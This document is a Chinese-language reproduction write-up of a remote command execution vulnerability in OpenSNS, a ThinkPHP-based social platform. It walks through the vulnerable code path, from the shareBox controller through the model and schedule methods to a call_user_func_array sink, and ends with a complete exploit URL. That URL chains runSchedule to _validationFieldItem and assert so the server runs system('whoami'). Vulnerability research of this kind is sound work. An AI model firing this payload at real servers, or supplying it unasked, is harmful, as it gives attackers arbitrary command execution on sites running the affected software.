OpenSNS 远程执行任意命令漏洞
一、复现步骤
1.触发条件
代码位于:/Application/Weibo/Controller/ShareController.class.php
public function shareBox(){
$query = urldecode(I('get.query','','text'));
parse_str($query,$array);
$this->assign('query',$query);
$this->assign('parse_array',$array);
$this->display(T('Weibo@default/Widget/share/sharebox'));
}
这段代码的目的是处理传递的查询参数,将其解码并存储为模板变量,然后显示一个特定的分享框视图。这个分享框可能用于在Web应用程序中分享内容或执行其他相关的操作。
进到:Application/Weibo/View/default/Widget/share/sharebox.html
{:W('Weibo/Share/fetchShare',array('param'=>$parse_array))}
这行代码的目的可能是执行某个操作,可能是获取一些与分享相关的信息或数据,然后将其传递给名为 ‘Weibo/Share/fetchShare’ 的处理器或控制器来处理。
进到:ThinkPHP/Common/functions.php
function W($name, $data = array())
{
R($name, $data, 'Widget');
}
function R($url, $vars = array(), $layer = '')
{
$info = pathinfo($url);
$action = $info['basename'];
$module = $info['dirname'];
$class = A($module, $layer);
if ($class) {
if (is_string($vars)) {
parse_str($vars, $vars);
}
return call_user_func_array(array(&$class, $action . C('ACTION_SUFFIX')), $vars);
} else {
return false;
}
}
W方法把参数给了R这个函数的主要目的是解析 $url,从中提取出控制器、操作和模块信息,并根据这些信息实例化相应的控制器类。然后,它使用 call_user_func_array() 函数来调用控制器的指定操作,并将传递的参数 $vars 作为参数传递给这个操作。
再到:/Weibo/Widget/ShareWidget.class.php 里看 fetchShare
public function fetchShare($param, $weibo = null)
{
$this->assginFetch($param, $weibo = null);
$this->display(T('Weibo@default/Widget/share/fetchshare'));
}
private function assginFetch($param, $weibo = null)
{
if ($weibo) {
$this->assign('weibo', $weibo);
}
$show = D('Weibo/Share')->getInfo($param);
$show=array_merge($show, $param);
$this->assign('show', $show);
}
这两个方法似乎用于获取分享信息并将其存储在模板变量中,以便后续在视图中显示。其中,fetchShare 方法是公共方法,用于对外提供获取分享信息和显示视图的功能,而 assginFetch 方法是私有方法,用于具体处理数据获取和赋值的逻辑。
再转到:Thinkphp/common/function.php 看D方法
function D($name = '', $layer = '')
{
if (empty($name)) return new Think\Model;
static $_model = array();
$layer = $layer ? : C('DEFAULT_M_LAYER');
if (isset($_model[$name . $layer]))
return $_model[$name . $layer];
$class = parse_res_name($name, $layer);
if (class_exists($class)) {
$model = new $class(basename($name));
} elseif (false === strpos($name, '/')) {
// 自动加载公共模块下面的模型
if (!C('APP_USE_NAMESPACE')) {
import('Common/' . $layer . '/' . $class);
} else {
$class = '\\Common\\' . $layer . '\\' . $name . $layer;
}
$model = class_exists($class) ? new $class($name) : new Think\Model($name);
} else {
\Think\Log::record('D方法实例化没找到模型类' . $class, Think\Log::NOTICE);
$model = new Think\Model(basename($name));
}
$_model[$name . $layer] = $model;
return $model;
}
这个函数用于动态实例化模型对象,根据提供的模型名称和层信息,具体实例化哪个模型类由传入的参数和自动加载机制决定。
再到:Application/Weibo/Model/ShareModel.class.php 看getInfo
public function getInfo($param)
{
$info = array();
if(!empty($param['app']) && !empty($param['model']) && !empty($param['method'])){
$info = D($param['app'].'/'.$param['model'])->$param['method']($param['id']);
}
return $info;
}
这个方法的目的主要是根据传入的参数动态获取特定信息。要保证$param里有app、model、method
2.触发方法
在:ThinkPHP/Library/Think/Model.class.php 里看 _validationFieldItem
protected function _validationFieldItem($data, $val)
{
switch (strtolower(trim($val[4]))) {
case 'function': // 使用函数进行验证
case 'callback': // 调用方法进行验证
$args = isset($val[6]) ? (array)$val[6] : array();
if (is_string($val[0]) && strpos($val[0], ','))
$val[0] = explode(',', $val[0]);
if (is_array($val[0])) {
// 支持多个字段验证
foreach ($val[0] as $field)
$_data[$field] = $data[$field];
array_unshift($args, $_data);
} else {
array_unshift($args, $data[$val[0]]);
}
if ('function' == $val[4]) {
return call_user_func_array($val[1], $args);
} else {
return call_user_func_array(array(&$this, $val[1]), $args);
}
case 'confirm': // 验证两个字段是否相同
return $data[$val[0]] == $data[$val[1]];
case 'unique': // 验证某个值是否唯一
if (is_string($val[0]) && strpos($val[0], ','))
$val[0] = explode(',', $val[0]);
$map = array();
if (is_array($val[0])) {
// 支持多个字段验证
foreach ($val[0] as $field)
$map[$field] = $data[$field];
} else {
$map[$val[0]] = $data[$val[0]];
}
$pk = $this->getPk();
if (!empty($data[$pk]) && is_string($pk)) { // 完善编辑的时候验证唯一
$map[$pk] = array('neq', $data[$pk]);
}
if (isset($val[6]) && is_array($val[6])) { // 验证唯一时根据array查询(例:根据array('status'=>array('neq',-1))排除已删除数据
if (count($map) > 0) {
$map = array_merge($map, $val[6]);
} else {
$map = $val[6];
}
}
if ($this->where($map)->find()) return false;
return true;
default: // 检查附加规则
return $this->check($data[$val[0]], $val[1], $val[4]);
}
}
这个方法里有个call_user_func_array,当参入的$val可控就能触发RCE
在/Application/Common/Model/ScheduleModel.class.php中有一个runSchedule方法可以利用
public function runSchedule($schedule)
{
if ($schedule['status'] == 1) {
$method = explode('->', $schedule['method']);
parse_str($schedule['args'], $args); //分解参数
try {
$return = D($method[0])->$method[1]($args, $schedule); //执行model中的方法
} catch (\Exception $exception) {
$return = false;
}
if ($return) {
$log = '任务已运行,描述:' . $schedule['intro'];
} else {
$log = '任务运行失败,描述:' . $schedule['intro'];
}
$this->writeLog($schedule['id'], $log);
}
return true;
}
这个方法的目的是运行计划任务,并记录任务执行的结果,以便后续跟踪和管理。计划任务的具体逻辑和执行方式依赖于传入的 $schedule 数据和模型方法的实现。
总结
提示:status必须等于1,值里必须要app、model、method
payload:
/index.php?s=weibo/Share/shareBox
&query=app=Common%26
model=Schedule%26
method=runSchedule%26
id[status]=1%26
id[method]=Schedule->_validationFieldItem%26
id[4]=function%26
[2][]=%26
id[0]=cmd%26
id[1]=assert%26
id[args]=cmd=system("whoami")